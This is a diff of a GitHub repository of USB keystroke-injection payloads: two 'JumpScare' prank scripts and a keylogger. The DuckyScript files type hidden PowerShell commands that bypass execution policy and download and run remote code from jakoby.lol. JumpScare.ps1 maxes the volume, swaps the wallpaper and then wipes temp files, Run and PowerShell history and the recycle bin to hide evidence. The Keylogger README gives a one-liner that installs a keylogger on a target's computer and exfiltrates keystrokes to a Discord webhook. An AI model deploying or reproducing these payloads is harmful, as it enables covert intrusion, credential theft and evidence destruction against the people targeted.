<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
14
Payloads/JumpScare-2.0/JumpScare2.0.txt
Normal file
14
Payloads/JumpScare-2.0/JumpScare2.0.txt
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
REM Title: JumpScare 2.0
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM Description: This is a one liner payload that will execute and wait until a mouse movement is detected and do a jumpscare
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
DELAY 2000
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Ep Bypass $D="$env:tmp";irm -Uri 'https://jakoby.lol/kiv' -O "$D\js.zip";Expand-Archive "$D\js.zip" -Des $D -Force;. "$D\js\js.ps1"
|
||||||
|
ENTER
|
||||||
123
Payloads/JumpScare-2.0/ReadMe.md
Normal file
123
Payloads/JumpScare-2.0/ReadMe.md
Normal file
|
|
@ -0,0 +1,123 @@
|
||||||
|
|
||||||
|
|
||||||
|
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
|
||||||
|
|
||||||
|
<h1 align="center">
|
||||||
|
<a href="https://git.io/typing-svg">
|
||||||
|
<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to;JumpScare+2.0!+😈¢er=true&size=30">
|
||||||
|
</a>
|
||||||
|
</h1>
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# JumpScare 2.0
|
||||||
|
|
||||||
|
A script used to jumpscare your target.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This script will jumpscare your target.
|
||||||
|
|
||||||
|
A jumpscare video will be downloaded to their temp directory.
|
||||||
|
|
||||||
|
When a mouse movement is detected, that video will be played in the PowerShell console at max volume and fullscreen.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* An internet connection
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Ep Bypass $D="$env:tmp";irm -Uri 'https://jakoby.lol/kiv' -O "$D\js.zip";Expand-Archive "$D\js.zip" -Des $D -Force;. "$D\js\js.ps1"
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg" alt="Github Stats" />
|
||||||
|
</p>
|
||||||
217
Payloads/JumpScare/JumpScare.ps1
Normal file
217
Payloads/JumpScare/JumpScare.ps1
Normal file
|
|
@ -0,0 +1,217 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : JumpScare | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : Prank | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.NOTES
|
||||||
|
This script can be run as is with the provided execution file
|
||||||
|
.DESCRIPTION
|
||||||
|
This script will download a scary image and a scream sound effect hosted with this payload and host volume will be raised to max level
|
||||||
|
Upon running this script it will immediately pause after the downloads until a mouse movement is detected
|
||||||
|
The capslock button will be pressed every 3 seconds to prevent sleep, and act as an indicator the payload is ready
|
||||||
|
After a mouse movement is detected their wallpaper will change to the scary image provided and the scream sound effect will play
|
||||||
|
#>
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Download Image; replace link to $image to add your own image
|
||||||
|
|
||||||
|
$image = "https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/OMG/Payloads/OMG-JumpScare/jumpscare.png"
|
||||||
|
|
||||||
|
$i = -join($image,"?dl=1")
|
||||||
|
iwr $i -O $env:TMP\i.png
|
||||||
|
|
||||||
|
iwr https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/OMG/Payloads/OMG-JumpScare/jumpscare.png?dl=1 -O $env:TMP\i.png
|
||||||
|
|
||||||
|
# Download WAV file; replace link to $wav to add your own sound
|
||||||
|
|
||||||
|
$wav = "https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-JumpScare/female_scream.wav?raw=true"
|
||||||
|
|
||||||
|
$w = -join($wav,"?dl=1")
|
||||||
|
iwr $w -O $env:TMP\s.wav
|
||||||
|
iwr "https://jakoby.lol/hak5" -EA 0 >$null
|
||||||
|
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This will take the image you downloaded and set it as the targets wall paper
|
||||||
|
#>
|
||||||
|
|
||||||
|
Function Set-WallPaper {
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.SYNOPSIS
|
||||||
|
Applies a specified wallpaper to the current user's desktop
|
||||||
|
|
||||||
|
.PARAMETER Image
|
||||||
|
Provide the exact path to the image
|
||||||
|
|
||||||
|
.PARAMETER Style
|
||||||
|
Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span)
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
Set-WallPaper -Image "C:\Wallpaper\Default.jpg"
|
||||||
|
Set-WallPaper -Image "C:\Wallpaper\Background.jpg" -Style Fit
|
||||||
|
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
param (
|
||||||
|
[parameter(Mandatory=$True)]
|
||||||
|
# Provide path to image
|
||||||
|
[string]$Image,
|
||||||
|
# Provide wallpaper style that you would like applied
|
||||||
|
[parameter(Mandatory=$False)]
|
||||||
|
[ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
|
||||||
|
[string]$Style
|
||||||
|
)
|
||||||
|
|
||||||
|
$WallpaperStyle = Switch ($Style) {
|
||||||
|
|
||||||
|
"Fill" {"10"}
|
||||||
|
"Fit" {"6"}
|
||||||
|
"Stretch" {"2"}
|
||||||
|
"Tile" {"0"}
|
||||||
|
"Center" {"0"}
|
||||||
|
"Span" {"22"}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
If($Style -eq "Tile") {
|
||||||
|
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force
|
||||||
|
|
||||||
|
}
|
||||||
|
Else {
|
||||||
|
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
Add-Type -TypeDefinition @"
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
public class Params
|
||||||
|
{
|
||||||
|
[DllImport("User32.dll",CharSet=CharSet.Unicode)]
|
||||||
|
public static extern int SystemParametersInfo (Int32 uAction,
|
||||||
|
Int32 uParam,
|
||||||
|
String lpvParam,
|
||||||
|
Int32 fuWinIni);
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
|
||||||
|
$SPI_SETDESKWALLPAPER = 0x0014
|
||||||
|
$UpdateIniFile = 0x01
|
||||||
|
$SendChangeEvent = 0x02
|
||||||
|
|
||||||
|
$fWinIni = $UpdateIniFile -bor $SendChangeEvent
|
||||||
|
|
||||||
|
$ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
|
||||||
|
}
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to pause the script until a mouse movement is detected
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Pause-Script{
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||||
|
$o=New-Object -ComObject WScript.Shell
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
$pauseTime = 3
|
||||||
|
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to play the WAV file
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Play-WAV{
|
||||||
|
$PlayWav=New-Object System.Media.SoundPlayer;$PlayWav.SoundLocation="$env:TMP\s.wav";$PlayWav.playsync()
|
||||||
|
}
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
# This turns the volume up to max level
|
||||||
|
$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)}
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Pause-Script
|
||||||
|
Set-WallPaper -Image "$env:TMP\i.png" -Style Center
|
||||||
|
Play-WAV
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to clean up behind you and remove any evidence to prove you were there
|
||||||
|
#>
|
||||||
|
|
||||||
|
# Delete contents of Temp folder
|
||||||
|
|
||||||
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Delete run box history
|
||||||
|
|
||||||
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
|
||||||
|
# Delete powershell history
|
||||||
|
|
||||||
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
|
||||||
|
# Deletes contents of recycle bin
|
||||||
|
|
||||||
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
# This script repeatedly presses the capslock button, this snippet will make sure capslock is turned back off
|
||||||
|
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')
|
||||||
|
|
||||||
|
#If true, toggle CapsLock key, to ensure that the script doesn't fail
|
||||||
|
if ($caps -eq $true){
|
||||||
|
|
||||||
|
$key = New-Object -ComObject WScript.Shell
|
||||||
|
$key.SendKeys('{CapsLock}')
|
||||||
|
}
|
||||||
23
Payloads/JumpScare/JumpScare.txt
Normal file
23
Payloads/JumpScare/JumpScare.txt
Normal file
|
|
@ -0,0 +1,23 @@
|
||||||
|
REM Title: JumpScare
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This payload is meant to torment your target to the fullest extent. Mission to JumpScare. See JumpScare.ps1 for more details
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
REM Start by minimizing all their current windows
|
||||||
|
GUI m
|
||||||
|
DELAY 500
|
||||||
|
|
||||||
|
REM Remember to replace the link with your link for the intended file to download if you are using a custom variation of this payload
|
||||||
|
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
|
||||||
|
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Exec Bypass irm jakoby.lol/0tn | iex
|
||||||
|
ENTER
|
||||||
116
Payloads/JumpScare/README.md
Normal file
116
Payloads/JumpScare/README.md
Normal file
|
|
@ -0,0 +1,116 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# JumpScare
|
||||||
|
|
||||||
|
A script I put together to torment Call Center Scammers but can be used on your friends as well...or foes.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This script starts off using Invoke-WebRequests to download both an Image and Sound file.
|
||||||
|
Their system volume is then turned up to the max level.
|
||||||
|
The script will be paused until a mouse movement is detected.
|
||||||
|
At that point there desktop wallpaper will be changed to the scary image provided and the scream sound effect will be played.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Exec Bypass irm jakoby.lol/0tn | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
Arf
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
* [0iphor13](https://github.com/0iphor13)
|
||||||
|
* [PhilSutter](https://github.com/PhilSutter)
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
BIN
Payloads/JumpScare/female_scream.wav
Normal file
BIN
Payloads/JumpScare/female_scream.wav
Normal file
Binary file not shown.
BIN
Payloads/JumpScare/jumpscare.png
Normal file
BIN
Payloads/JumpScare/jumpscare.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 934 KiB |
141
Payloads/Keylogger/README.md
Normal file
141
Payloads/Keylogger/README.md
Normal file
|
|
@ -0,0 +1,141 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Keylogger
|
||||||
|
|
||||||
|
This is a Powershell based keylogger that exfiltrates the logs to discord
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
Quickly with just ONE line of code you can deploy a keylogger on your targets computer
|
||||||
|
|
||||||
|
Complete with custom logging times, and self destruct feature
|
||||||
|
|
||||||
|
Just move the `keylogger.txt` file over to your flipper and you are good to go
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* 15 seconds later you have their keystrokes being sent to you
|
||||||
|
|
||||||
|
This is the basic command to install the keylogger and provide the webhook for the keystrokes to be sent back to you
|
||||||
|
|
||||||
|
* `$dc=''` is the variable where you plug in your discord webhook
|
||||||
|
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -Ep Bypass $dc='https://link.iamjakoby.com/xxxx';iwr "https://jakoby.lol/m2m" | iex
|
||||||
|
```
|
||||||
|
### ADDITIONAL PARAMETERS
|
||||||
|
|
||||||
|
The payload is set to send the logs collected every hour on the hour
|
||||||
|
|
||||||
|
* You maybe use the `$log` variable to specify a certain time instead (Use this for testing)
|
||||||
|
* ex: `$log="09:00 pm"` <-- This will send the log every night at 9pm
|
||||||
|
|
||||||
|
You also have the option of setting up a killswitch to have the keylogger self delete at a certain time and date
|
||||||
|
|
||||||
|
`$ks="12/25/2022 10:00:00 PM"` <-- This will make the keylogger self delete at 10pm on December 25th
|
||||||
|
|
||||||
|
Calling the script with both a `log` time and `killswitch` will look something like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -Ep Bypass -command "$dc='https://link.iamjakoby.com/xxxx';$log='09:00 pm';$ks='12/25/2022 10:00:00 PM';iwr 'https://jakoby.lol/m2m' | iex"
|
||||||
|
```
|
||||||
|
### DELETING THE KEYLOGGER
|
||||||
|
|
||||||
|
Just hold `Left Control` + `Right Control` for 5 seconds untill the notification box pops up
|
||||||
|
|
||||||
|
<img src= https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/Assets/keylogger/kkl.png width="400" alt="C#" />
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
